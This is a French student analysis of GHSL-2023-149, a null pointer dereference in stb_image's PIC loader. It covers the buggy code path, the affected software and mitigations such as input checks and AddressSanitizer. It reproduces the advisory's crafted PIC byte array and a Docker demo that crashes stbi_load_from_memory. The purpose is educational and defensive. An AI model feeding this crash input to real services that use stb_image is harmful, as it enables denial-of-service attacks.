Analyse de faille - GHSL-2023-149

Arvind Candassamy
Théo Rozier

1. Table des matières

2. Description de la faille

Cette faille de sécurité fait partie d'un rapport d'analyse du *GitHub Security Lab* sur de multiples erreurs de programmations dans les bibliothèques *stb_image* et *stb_vorbis* provoquant des accès mémoire invalides. Ces bibliothèques font partie d'un projet plus vaste appelé stb proposant de multiples entêtes en langage C permettant la manipulation de divers formats de fichiers, ici les formats image et le format audio Vorbis. Cette bibliothèque logiciel est très utilisée, le projet GitHub compte plus de 23 000 étoiles et plus de 180 contributeurs. L'utilisation de cette bibliothèque peut même dépasser le cadre du langage C lorsque des bindings[1] sont créés vers d'autres langages, tel que Java avec la bibliothèque LWJGL, utilisée notamment par le jeu vidéo Minecraft et son traitement des textures.

Nous avons choisi parmi ces failles la GHSL-2023-149, intitulée "Null pointer dereference in stbi__convert_format", elle concerne la bibliothèque de traitement d'image et plus précisément la fonction interne utilisée pour charger des images au format PIC[2]. Cette faille est la seule du rapport à ne pas être associée à un numéro de CVE, on peut cependant se baser sur une autre faille similaire dans le rapport, la GHSL-2023-151, associée à CVE-2023-45667[3], ayant obtenu un score de 7.5 par le *NIST* et 5.3 par le *GitHub Security Lab*. Notre faille semble être dans ce même ordre de gravité.

---

[1] Bindings: un type de bibliothèque dans un langage donnée permettant d'utiliser les fonctions et structures d'un autre langage. Par exemple, un *binding* Java vers C permet d'utiliser des fonctions C depuis le langage Java.
[2] http://fileformats.archiveteam.org/wiki/Softimage_PIC
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-45667

La faille est d'apparence simple et s'explique assez facilement, mais peut être dévastatrice pour un service qui se fait exploiter, puisqu'il est possible via cette erreur de faire planter le processus exécutant le code.

Le rapport est disponible à l'adresse suivante : https://securitylab.github.com/advisories/GHSL-2023-145_GHSL-2023-151_stb_image_h/

La version analysée de stb_image est la 2.28, à l'adresse suivante : https://github.com/nothings/stb/blob/5736b15f7ea0ffb08dd38af21067c314d6a3aae9/stb_image.h

Nos expérimentations sont accessibles sur le dépôt à l'adresse suivante : https://github.com/mindstorm38/ensimag-secu3a-ghsl-2023-149

3. Exploitation de la faille

La faille provient d'une erreur de programmation dans la fonction **stbi__pic_load**, utilisée en interne pour charger des images au format PIC. On peut observer le code problématique dans le fragment de code suivant :

```
6528        if (!stbi__pic_load_core(s,x,y,comp, result)) {
6529           STBI_FREE(result);
6530           result=0;
6531        }
6532        *px = x;
6533        *py = y;
6534        if (req_comp == 0) req_comp = *comp;
6535        result=stbi__convert_format(result,4,req_comp,x,y);
```

On voit alors que si la fonction **stbi__pic_load_core** échoue (à la ligne 6528, en retournant une valeur de zéro), alors le tableau **result** précédemment alloué sera libéré (**STBI_FREE**). L'exécution de la fonction continue normalement, tout en considérant le tableau comme un pointeur valide à la ligne 6535 lors de l'appel de la fonction **stbi__convert_format**. Cette fonction permet de convertir le format interne de l'image, en passant ici de quatre composantes (Rouge/Vert/Bleu/Transparence) à **req_comp** composantes, par exemple en passant en nuance de gris si **req_comp** vaut 1. Un nouveau tableau pour l'image convertie est alors retourné.

Pour déclencher le problème, il faut donc s'assurer que le tableau **result** est bien lu ou écrit dans la fonction **stbi__convert_format** :

```
1753    static unsigned char *stbi__convert_format(unsigned char *data, int img_n, int req_comp,
1754    {
1755       int i,j;
1756       unsigned char *good;
1757
1758       if (req_comp == img_n) return data;
1759       STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
1760
1761       good = (unsigned char *) stbi__malloc_mad3(req_comp, x, y, 0);
1762       if (good == NULL) {
1763          STBI_FREE(data);
1764          return stbi__errpuc("outofmem", "Out of memory");
1765       }
1766
1767       for (j=0; j < (int) y; ++j) {
1768          unsigned char *src  = data + j * x * img_n   ;
1769          unsigned char *dest = good + j * x * req_comp;
1770
1771          #define STBI__COMBO(a,b)  ((a)*8+(b))
1772          #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a,
1773          // convert source image with img_n components to one with req_comp components;
1774          // avoid switch per pixel, so use switch per scanline and massive macros
1775          switch (STBI__COMBO(img_n, req_comp)) {
1776             STBI__CASE(1,2) { dest[0]=src[0]; dest[1]=255;
1777             STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];
```

On voit dans ce fragment de code qu'il suffit de donner une valeur différente pour **img_n** et **req_comp** pour passer à la conversion. En bonus, on peut même déterminer qu'une erreur lors du **malloc** à la ligne 1761 pourrait causer un double free sur le tableau ! Le tableau est lu dans le **switch** aux lignes 1775+.

Nous avons désormais une méthode pour provoquer une lecture pointeur nul : on doit appeler la fonction **stbi__pic_load** avec :

1. Une image de format PIC provoquant une erreur dans la fonction **stbi__pic_load_core**;
2. Un paramètre **req_comp** ayant une valeur entre 1 et 3.

Pour ce faire, il suffit d'appeler la fonction **stbi_load_from_memory** avec ces paramètres, cette fonction faisant partie de l'interface publique, elle est souvent utilisée telle-quel. Si on parvient à faire appeler cette fonction avec une image PIC trafiqué ainsi qu'un nombre de composantes de 1 à 3, on pourra alors déclencher l'erreur. Le rapport nous fournit d'ailleurs une telle image, ou du moins les données, puisque celle-ci ne peut par définition pas être affichée, car invalide.

3. Applications concernées

Cette faille étant une erreur de programmation dans une bibliothèque C, elle peut être autant présente du côté d'un serveur que d'un client, du moment que l'application charge des images depuis la mémoire, elle est affectée, sauf si elle corrige le problème. Par exemple, la bibliothèque Java LWJGL utilise actuellement pour sa dernière version 3.3.3 la version affectée 2.28[4].

Plus généralement, parmi les potentielles applications concernées, on pourrait citer :

- Applications graphiques : Logiciels de retouches d'images, visualiseur d'images, éditeurs graphiques, etc.
- Jeux vidéo : Moteurs et jeux qui utilisent STB Image pour le chargement d'image
- Applications web : Si stb_image est utilisé côté serveur pour le traitement d'images ou côté client dans des applications web interactives

4. Mesures de protection

Afin de se prémunir de ce problème, l'administrateur d'un système devrait s'assurer que chacun des logiciels utilisant stb_image en version 2.28 ou antérieur ne soit pas sensible au problème, en particulier si le service est critique. Il est également possible que les applications ne soient pas affectées, même en utilisant les versions affectées, dans le cas où elle ne permettrait pas de contrôler les arguments nécessaires à l'exploit.

Ainsi, au niveau du chargement de l'image, il faut mettre en place des contrôles d'entrées stricts. Cela se traduit par des règles simples comme la vérification du format des fichiers images (PNG, JPEG, etc.) ou des limites de tailles pour éviter les problèmes de mémoires, voire une vérification des propriétés de l'image (résolution, profondeur de couleur, etc.) pour éviter les problèmes de manipulation et d'affichage.

Enfin, une règle commune à toutes les failles, mais essentielle, il faut traiter de manière sécurisée les potentielles erreurs afin de ne pas révéler des informations sensibles.

5. Bonnes pratiques

D'après nos expérimentations, il est très compliqué de détecter statiquement à la compilation ces erreurs de mémoire dans le langage C. En effet, l'ajout des flags de warnings ne permettent pas de détecter ces erreurs, ce qui n'est pas étonnant

[4] github.com/LWJGL/lwjgl3/blob/b428b2ff/modules/lwjgl/stb/src/main/c/stb_image.h

puisque rien ne spécifie que notre fonction **stbi__convert_format** ne peut pas recevoir un argument nul. Une de nos pistes a été d'ajouter un attribut de compilation sur la fonction "**__attribute__((nonnull))**"[5] pour spécifier la contrainte sur le pointeur, hors cela n'a pas permis de détecter automatiquement le problème, et pose un risque supplémentaire pour notre exécution, car le compilateur est désormais libre de faire des optimisations de code partant du principe que le pointeur est nul. Ceci peut causer des comportements indéfinis (*undefined behaviors*) à l'exécution, qui sont bien pires qu'un déréférencement de pointeur nul, puisque pouvant, par définition, causer n'importe quel problème à l'exécution. Cette technique n'a donc pas été retenue.

Notre deuxième méthode consiste à activer le module "*Address Sanitizer*" du compilateur avec l'argument "**-fsanitize=address**"[6]. Ce module rajoute des informations autour de nos accès de pointeurs pour améliorer le message d'erreur en cas d'erreur de pointeur.

Nous utilisons pour cette expérimentation le code suivant, fournis par le *GitHub Security Lab* dans son explication de la faille :

```
const uint8_t data[] = {0x53,0x80,0xf6,0x34,0x00,0x00,0x00,0x00,0x00,0x00,
                        0x00,0x00,0x40,0x00,0x08,0x01,0x20,0xff,0x10,0x40,
                        0x74,0x72,0x74,0x65,0x69,0xab,0x4c,0x65,0x31,0x6e,
                        0x20,0x62,0x79,0x20,0x6d,0x65,0x6e,0x74,0x61,0x6c,
                        0x20,0x69,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,
                        0x49,0x43,0x54,0x00,0x50,0x49,0x43,0x57,0x00,0x00,
                        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,
                        0x08,0x01,0x20,0xff,0x10,0x6e,0x74,0x61,0x6c,0x20,
                        0x69,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x49,
                        0x43,0x54,0x00,0x50,0x54,0x20,0x10};
size_t size = sizeof(data);

int x, y, z, channels;
stbi_uc *img = stbi_load_from_memory(data, size, &x, &y, &channels, 2);
stbi_image_free(img);
```

Si nous exécutons ce programme sans l'avoir compilé avec le module *Address Sanitizer*, nous obtenons un simple message de *segmentation fault* :

```
~/Projects/ensimag-secu3a-faille1 main !1 > ./main
zsh: segmentation fault (core dumped)  ./main
```

[5] https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html
[6] https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html

Même si nous connaissons déjà l'emplacement du bug, on n'obtient aucune information sur celui-ci. Si nous essayons maintenant avec le module activé :

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==71539==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc
==71539==The signal is caused by a READ memory access.
==71539==Hint: address points to the zero page.
    #0 0x563bbd09a73a in stbi__convert_format (/home/theo/Projects/ensimag-s
    #1 0x563bbd0c665d in stbi__pic_load (/home/theo/Projects/ensimag-secu3a-
    #2 0x563bbd0960e3 in stbi__load_main (/home/theo/Projects/ensimag-secu3a
    #3 0x563bbd09691b in stbi__load_and_postprocess_8bit (/home/theo/Project
    #4 0x563bbd097bdc in stbi_load_from_memory (/home/theo/Projects/ensimag-
    #5 0x563bbd0cecbb in main (/home/theo/Projects/ensimag-secu3a-faille1/ma
    #6 0x7f651c445ccf  (/usr/lib/libc.so.6+0x27ccf) (BuildId: 8bfe03f6bf9b6a
    #7 0x7f651c445d89 in __libc_start_main (/usr/lib/libc.so.6+0x27d89) (Bui
    #8 0x563bbd095384 in _start (/home/theo/Projects/ensimag-secu3a-faille1/

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/theo/Projects/ensimag-secu3a-faille1/
==71539==ABORTING
```

Le module empêche déjà le déclenchement d'une erreur de segmentation, et nous informe de la pile d'appel, et donc la fonction dans laquelle survient l'erreur. Cela confirme bien notre investigation puisque la fonction **stbi__convert_format** apparait en haut de la pile, car elle est la dernière fonction appelée.

6. Démo

Afin de tester la faille, nous avons monté un conteneur qui charge une image PIC trafiquée via son tableau de données (en octets). L'image trafiquée passe ensuite dans la fonction **stbi_load_from_memory** pour déclencher le déni de service (en supposant que la fonction soit utilisée dans une application plus importante).

Le projet est disponible à l'adresse suivante : https://github.com/mindstorm38/ensimag-secu3a-ghsl-2023-149,

Celui-ci contient les fichiers suivants :

- stb_image.h : bibliothèque STB Image
- main.c : code de démo
- Makefile : Compilation via GCC

Dockerfile : Installation des dépendances, compilation (à travers le Makefile) et exécution du programme Pour les monter le conteneur, taper les commandes suivantes dans une dans le dossier parent du projet :

```
docker build -t demofaille .
```

```
PS C:\Users\Arvind\Documents\Dev\ensimag-secu3a-ghsl-2023-149> docker build -t demofaille .
[+] Building 58.8s (10/10) FINISHED
 => [internal] load .dockerignore
 => => transferring context: 2B
 => [internal] load build definition from Dockerfile
 => => transferring dockerfile: 300B
 => [internal] load metadata for docker.io/library/debian:latest
 => [1/5] FROM docker.io/library/debian:latest@sha256:133a1f2aa9e55d1c93d0ae1aaa7b94fb141265d0ee3ea677175cdb96f5f990e5
 => => resolve docker.io/library/debian:latest@sha256:133a1f2aa9e55d1c93d0ae1aaa7b94fb141265d0ee3ea677175cdb96f5f990e5
 => => sha256:133a1f2aa9e55d1c93d0ae1aaa7b94fb141265d0ee3ea677175cdb96f5f990e5 1.85kB / 1.85kB
 => => sha256:3f6b5fb138047d4410b43183b34581b7064b2c30a6f81324b58a287715fbd7ed 529B / 529B
 => => sha256:0ce03c8a15ec97f121b394857119e3e7652bba5a66845cbfa449d87a5251914e 1.46kB / 1.46kB
 => => sha256:90e5e7d8b87a34877f61c2b86d053db1c4f440b9054cf49573e3be5d6a674a47 49.58MB / 49.58MB
 => => extracting sha256:90e5e7d8b87a34877f61c2b86d053db1c4f440b9054cf49573e3be5d6a674a47
 => [internal] load build context
 => => transferring context: 395.66kB
 => [2/5] RUN apt-get update && apt-get install -y     build-essential     git
 => [3/5] WORKDIR /app
 => [4/5] COPY . .
 => [5/5] RUN make
 => exporting to image
 => => exporting layers
 => => writing image sha256:96d100f0364637874e67358e8c3fd98b1491111adc3dfe1d193fac73060ddb5f
 => => naming to docker.io/library/demofaille
```

```
docker run demofaille
```

```
PS C:\Users\Arvind\Documents\Dev\ensimag-secu3a-ghsl-2023-149> docker run demofaille
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc 0x559153ec0424 bp 0x7fff49ce9af0 sp 0x7fff49ce9ab0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x559153ec0424 in stbi__convert_format (/app/main+0xa424)
    #1 0x559153eebfa5 in stbi__pic_load (/app/main+0x35fa5)
    #2 0x559153ebc0d3 in stbi__load_main (/app/main+0x60d3)
    #3 0x559153ebc8ca in stbi__load_and_postprocess_8bit (/app/main+0x68ca)
    #4 0x559153ebda62 in stbi_load_from_memory (/app/main+0x7a62)
    #5 0x559153ef4399 in main (/app/main+0x3e399)
    #6 0x7fc340c8f1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x271c9)
    #7 0x7fc340c8f284 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27284)
    #8 0x559153ebb380 in _start (/app/main+0x5380)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/app/main+0xa424) in stbi__convert_format
==1==ABORTING
```